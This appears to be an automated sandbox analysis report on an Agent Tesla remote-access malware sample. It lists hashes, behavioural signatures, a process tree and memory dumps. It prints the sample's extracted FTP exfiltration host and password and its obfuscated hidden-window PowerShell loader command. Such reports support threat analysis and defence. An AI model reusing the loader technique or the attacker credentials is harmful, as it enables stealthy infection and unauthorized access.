Analysis
- max time kernel
144s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
11/11/2024, 16:17
General
- Target Swift Copy.bat.exe
- Size 979KB
- Sample241111-trclhsvjek
- SHA256 59b03fee31c5c62caac3b05827d210553ce84a6e7c5ae43cb7d34f8242d9bae6
Malware Config
Extracted
-
Protocol
ftp
-
Host
ftp.concaribe.com
-
Port
21
-
Username
-
Password
ro}UWgz#!38E
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://ftp.concaribe.com
-
Port
21
-
Username
-
Password
ro}UWgz#!38E
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Agenttesla family
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Blocklisted process makes network request 4 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Windows directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Swift Copy.bat.exe"C:\Users\Admin\AppData\Local\Temp\Swift Copy.bat.exe"1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Markgreven=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\bruised\calypsoerne\drikkelaget\Overkeenly.Aut';$Fortykkelsernes=$Markgreven.SubString(3059,3);.$Fortykkelsernes($Markgreven)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_sfnilqdq.mwa.ps1
Alkoholers.Ret
Overkeenly.Aut
nonpurchasable.ini
memory/1560-74-0x0000000001E50000-0x000000000291B000-memory.dmp
memory/1560-76-0x0000000000BF0000-0x0000000000C32000-memory.dmp
memory/1560-82-0x0000000021040000-0x000000002104A000-memory.dmp
memory/1560-81-0x00000000211B0000-0x0000000021242000-memory.dmp
memory/1560-80-0x0000000001E50000-0x000000000291B000-memory.dmp
memory/1560-78-0x0000000021070000-0x000000002110C000-memory.dmp
memory/1560-77-0x0000000020F80000-0x0000000020FD0000-memory.dmp
memory/1560-75-0x0000000000BF0000-0x0000000001E44000-memory.dmp
memory/5052-43-0x00000000710C0000-0x000000007110C000-memory.dmp
memory/5052-59-0x0000000007C50000-0x0000000007C7A000-memory.dmp
memory/5052-32-0x00000000060E0000-0x0000000006434000-memory.dmp
memory/5052-33-0x0000000006650000-0x000000000666E000-memory.dmp
memory/5052-34-0x00000000066A0000-0x00000000066EC000-memory.dmp
memory/5052-35-0x0000000006BD0000-0x0000000006C66000-memory.dmp
memory/5052-36-0x0000000006B90000-0x0000000006BAA000-memory.dmp
memory/5052-37-0x0000000007650000-0x0000000007672000-memory.dmp
memory/5052-38-0x0000000007CB0000-0x0000000008254000-memory.dmp
memory/5052-40-0x00000000088E0000-0x0000000008F5A000-memory.dmp
memory/5052-41-0x0000000007AA0000-0x0000000007AD2000-memory.dmp
memory/5052-42-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-21-0x0000000005F90000-0x0000000005FF6000-memory.dmp
memory/5052-44-0x0000000071260000-0x00000000715B4000-memory.dmp
memory/5052-54-0x0000000007AE0000-0x0000000007AFE000-memory.dmp
memory/5052-56-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-55-0x0000000007B10000-0x0000000007BB3000-memory.dmp
memory/5052-57-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-58-0x0000000007C10000-0x0000000007C1A000-memory.dmp
memory/5052-22-0x0000000006070000-0x00000000060D6000-memory.dmp
memory/5052-60-0x0000000007C80000-0x0000000007CA4000-memory.dmp
memory/5052-61-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-62-0x00000000752AE000-0x00000000752AF000-memory.dmp
memory/5052-63-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-64-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-66-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-67-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-68-0x0000000008F60000-0x0000000009A2B000-memory.dmp
memory/5052-69-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-70-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-71-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-20-0x00000000056B0000-0x00000000056D2000-memory.dmp
memory/5052-19-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-17-0x0000000005730000-0x0000000005D58000-memory.dmp
memory/5052-18-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-16-0x00000000050C0000-0x00000000050F6000-memory.dmp
memory/5052-15-0x00000000752AE000-0x00000000752AF000-memory.dmp
memory/5052-73-0x00000000752A0000-0x0000000075A50000-memory.dmp
memory/5052-72-0x0000000077CC1000-0x0000000077DE1000-memory.dmp